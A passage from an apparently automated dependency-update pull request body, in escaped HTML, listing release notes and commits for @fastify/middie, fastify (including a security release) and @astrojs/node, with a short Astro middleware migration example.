href=\"https://redirect.github.com/fastify/middie/pull/242\"\u003efastify/middie#242\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): remove \u003ccode\u003e@​fastify/pre-commit\u003c/code\u003e by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/243\"\u003efastify/middie#243\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): add concurrency config by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/244\"\u003efastify/middie#244\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/246\"\u003efastify/middie#246\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: decode paths before matching by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/245\"\u003efastify/middie#245\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matteo-gobbo\"\u003e\u003ccode\u003e@​matteo-gobbo\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/229\"\u003efastify/middie#229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/239\"\u003efastify/middie#239\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/245\"\u003efastify/middie#245\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/middie/compare/v9.0.3...v9.1.0\"\u003ehttps://github.com/fastify/middie/compare/v9.0.3...v9.1.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/f9b3e79c2c045c9af8e5860d96629943ceeb61b0\"\u003e\u003ccode\u003ef9b3e79\u003c/code\u003e\u003c/a\u003e Bumped v9.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/140e0dd0359d890fec7e6ea1dcc5134d6bd554d4\"\u003e\u003ccode\u003e140e0dd\u003c/code\u003e\u003c/a\u003e fix: harden middie path normalization and matching\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/45c02d071117f00a9c4cba3cfa69460064f13ea3\"\u003e\u003ccode\u003e45c02d0\u003c/code\u003e\u003c/a\u003e ci: remove stale.yml (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/247\"\u003e#247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/8de54e35035cefa5ca13fd9f06c7b38185038a0e\"\u003e\u003ccode\u003e8de54e3\u003c/code\u003e\u003c/a\u003e v9.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba\"\u003e\u003ccode\u003ed44cd56\u003c/code\u003e\u003c/a\u003e fix: decode paths before matching (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/245\"\u003e#245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/ed987d6f1aa1718b0f221a1d25006a26a7df383c\"\u003e\u003ccode\u003eed987d6\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.3 (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/246\"\u003e#246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/ca2c81208fc42cfd2edc8b3a8552c7227a85d241\"\u003e\u003ccode\u003eca2c812\u003c/code\u003e\u003c/a\u003e ci(ci): add concurrency config (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/244\"\u003e#244\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/d405c424554a2863412ea4f50702eaf2377dc657\"\u003e\u003ccode\u003ed405c42\u003c/code\u003e\u003c/a\u003e build(deps-dev): remove \u003ccode\u003e@​fastify/pre-commit\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/243\"\u003e#243\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/3c66977e06e1e5921f1942f7d4a4e51edd785253\"\u003e\u003ccode\u003e3c66977\u003c/code\u003e\u003c/a\u003e chore(.npmrc): ignore scripts (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/242\"\u003e#242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/d30c7cc5cd1e19027879134cdb77db95dc4397ea\"\u003e\u003ccode\u003ed30c7cc\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/241\"\u003e#241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/middie/compare/v9.0.3...v9.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastify` from 5.6.1 to 5.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.8.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eThis fixes CVE CVE-2026-3635 \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(readme): add \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e to plugin team by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6565\"\u003efastify/fastify#6565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated Plugins-Guide.md; Changed \u0026quot;fastify\u0026quot; to \u0026quot;instance\u0026quot; during plugin registration to showcase that it's added as a child by \u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: use fastify.test in test case by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6568\"\u003efastify/fastify#6568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: use fastify.example in documentation by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6567\"\u003efastify/fastify#6567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add common performance degradation guidance by \u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(server): fix camelCase anchor links in TOC by \u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(link-checker): fix root-relative links resolution by \u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update syntax markdown, absolute paths and links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6569\"\u003efastify/fastify#6569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify content-type parser/schema mismatch is outside threat model by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6537\"\u003efastify/fastify#6537\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix incorrect code examples in Reply and Request reference by \u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace redirected npm.im http-errors link by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6588\"\u003efastify/fastify#6588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etypes: Allow port to be null in request type definition by \u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6593\"\u003efastify/fastify#6593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(lock-threads): use shared lock-threads workflow by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6592\"\u003efastify/fastify#6592\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.8.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(ecosystem): add \u003ccode\u003e@​yeliex/fastify-problem-details\u003c/code\u003e by \u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;chore: upgrade borp to v1.0.0\u0026quot; by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6564\"\u003efastify/fastify#6564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: document body validation with custom content type parsers by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6556\"\u003efastify/fastify#6556\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(ecosystem): add fastify-file-router by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6441\"\u003efastify/fastify#6441\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-svelte-view to Ecosystem list by \u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: anchor keyValuePairsReg to prevent quadratic backtracking by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6558\"\u003efastify/fastify#6558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: added note on handling of invalid URLs in setNotFoundHandler by \u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(guides): update codemod links by \u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add \u003ccode\u003e@​glidemq/fastify\u003c/code\u003e to community plugins by \u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a3e77ce171516e95f0c28ce60b9e5228a4c42fe4\"\u003e\u003ccode\u003ea3e77ce\u003c/code\u003e\u003c/a\u003e Bumped v5.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/4e1db5bd0012ccf63a49ff105a63e25981b9a747\"\u003e\u003ccode\u003e4e1db5b\u003c/code\u003e\u003c/a\u003e fix: gate host and protocol getters on proxy trust function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a22217f9420f70017a419d8e18b2a3141ab27989\"\u003e\u003ccode\u003ea22217f\u003c/code\u003e\u003c/a\u003e ci(lock-threads): use shared lock-threads workflow (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/1851f208e72be06ca419f2000dea63e540ff1ab0\"\u003e\u003ccode\u003e1851f20\u003c/code\u003e\u003c/a\u003e docs: update links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6593\"\u003e#6593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/9cc5187be2dc7c38fd68d0d43541f16ed6d1e1ad\"\u003e\u003ccode\u003e9cc5187\u003c/code\u003e\u003c/a\u003e types: Allow port to be null in request type definition (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6589\"\u003e#6589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/722d83b0632387b853b218ae3a7da40cc46e2677\"\u003e\u003ccode\u003e722d83b\u003c/code\u003e\u003c/a\u003e docs: replace redirected npm.im http-errors link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6588\"\u003e#6588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a1413de2033b2b00dc1d3563d4f00a7e15ceab2d\"\u003e\u003ccode\u003ea1413de\u003c/code\u003e\u003c/a\u003e docs: fix incorrect code examples in Reply and Request reference (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6582\"\u003e#6582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d7f01b600811172d7f7023bccc5e96583159202b\"\u003e\u003ccode\u003ed7f01b6\u003c/code\u003e\u003c/a\u003e docs: clarify content-type parser/schema mismatch is outside threat model (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6\"\u003e#6\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a0649e92e93c1ad8b164020f61be5d5fa287d506\"\u003e\u003ccode\u003ea0649e9\u003c/code\u003e\u003c/a\u003e docs: update syntax markdown, absolute paths and links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6569\"\u003e#6569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d4779155286ea1d31c24dba1e90d7d478909382b\"\u003e\u003ccode\u003ed477915\u003c/code\u003e\u003c/a\u003e ci(link-checker): fix root-relative links resolution (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6535\"\u003e#6535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v5.6.1...v5.8.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@astrojs/node` from 9.4.4 to 10.0.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/releases\"\u003e\u003ccode\u003e@​astrojs/node\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​astrojs/node\u003c/code\u003e\u003ca href=\"https://github.com/10\"\u003e\u003ccode\u003e@​10\u003c/code\u003e\u003c/a\u003e.0.0\u003c/h2\u003e\n\u003ch3\u003eMajor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15654\"\u003e#15654\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a32aee6eb8bb9ae46caf2249ff56df27db2d4e2a\"\u003e\u003ccode\u003ea32aee6\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/florian-lefebvre\"\u003e\u003ccode\u003e@​florian-lefebvre\u003c/code\u003e\u003c/a\u003e! - Removes the \u003ccode\u003eexperimentalErrorPageHost\u003c/code\u003e option\u003c/p\u003e\n\u003cp\u003eThis option allowed fetching a prerendered error page from a different host than the server is currently running on.\u003c/p\u003e\n\u003cp\u003eHowever, there can be security implications with prefetching from other hosts, and often more customization was required to do this safely. This has now been removed as a built-in option so that you can implement your own secure solution as needed and appropriate for your project via middleware.\u003c/p\u003e\n\u003ch4\u003eWhat should I do?\u003c/h4\u003e\n\u003cp\u003eIf you were previously using this feature, you must remove the option from your adapter configuration as it no longer exists:\u003c/p\u003e\n\u003cpre lang=\"diff\"\u003e\u003ccode\u003e// astro.config.mjs\nimport { defineConfig } from 'astro/config'\nimport node from '@astrojs/node'\n\u003cp\u003eexport default defineConfig({\nadapter: node({\nmode: 'standalone',\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eexperimentalErrorPageHost: 'http://localhost:4321'\n})\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eYou can replicate the previous behavior by checking the response status in a middleware and fetching the prerendered page yourself:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003e// src/middleware.ts\nimport { defineMiddleware } from 'astro:middleware';\n\u003cp\u003eexport const onRequest = defineMiddleware(async (ctx, next) =\u0026gt; {\nconst response = await next();\nif (response.status === 404 || response.status === 500) {\nreturn fetch(\u003ccode\u003ehttp://localhost:4321/${response.status}.html\u003c/code\u003e);\n}\nreturn response;\n});\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15258\"\u003e#15258\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/d339a182b387a7a1b0d5dd0d67a0638aaa2b4262\"\u003e\u003ccode\u003ed339a18\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/ematipico\"\u003e\u003ccode\u003e@​ematipico\u003c/code\u003e\u003c/a\u003e! - Stabilizes the adapter feature \u003ccode\u003eexperimentalStatiHeaders\u003c/code\u003e. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:\u003c/p\u003e\n\u003cpre lang=\"diff\"\u003e\u003ccode\u003eexport default defineConfig({\n  adapter: netlify({\n-    experimentalStaticHeaders: true\n+    staticHeaders: true\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/withastro/astro/blob/main/packages/integrations/node/CHANGELOG.md\"\u003e\u003ccode\u003e@​astrojs/node\u003c/code\u003e's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.0.0\u003c/h2\u003e\n\u003ch3\u003eMajor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15654\"\u003e#15654\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/a32aee6eb8bb9ae46caf2249ff56df27db2d4e2a\"\u003e\u003ccode\u003ea32aee6\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/florian-lefebvre\"\u003e\u003ccode\u003e@​florian-lefebvre\u003c/code\u003e\u003c/a\u003e! - Removes the \u003ccode\u003eexperimentalErrorPageHost\u003c/code\u003e option\u003c/p\u003e\n\u003cp\u003eThis option allowed fetching a prerendered error page from a different host than the server is currently running on.\u003c/p\u003e\n\u003cp\u003eHowever, there can be security implications with prefetching from other hosts, and often more customization was required to do this safely. This has now been removed as a built-in option so that you can implement your own secure solution as needed and appropriate for your project via middleware.\u003c/p\u003e\n\u003ch4\u003eWhat should I do?\u003c/h4\u003e\n\u003cp\u003eIf you were previously using this feature, you must remove the option from your adapter configuration as it no longer exists:\u003c/p\u003e\n\u003cpre lang=\"diff\"\u003e\u003ccode\u003e// astro.config.mjs\nimport { defineConfig } from 'astro/config'\nimport node from '@astrojs/node'\n\u003cp\u003eexport default defineConfig({\nadapter: node({\nmode: 'standalone',\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eexperimentalErrorPageHost: 'http://localhost:4321'\n})\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eYou can replicate the previous behavior by checking the response status in a middleware and fetching the prerendered page yourself:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003e// src/middleware.ts\nimport { defineMiddleware } from 'astro:middleware';\n\u003cp\u003eexport const onRequest = defineMiddleware(async (ctx, next) =\u0026gt; {\nconst response = await next();\nif (response.status === 404 || response.status === 500) {\nreturn fetch(\u003ccode\u003ehttp://localhost:4321/${response.status}.html\u003c/code\u003e);\n}\nreturn response;\n});\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15258\"\u003e#15258\u003c/a\u003e \u003ca 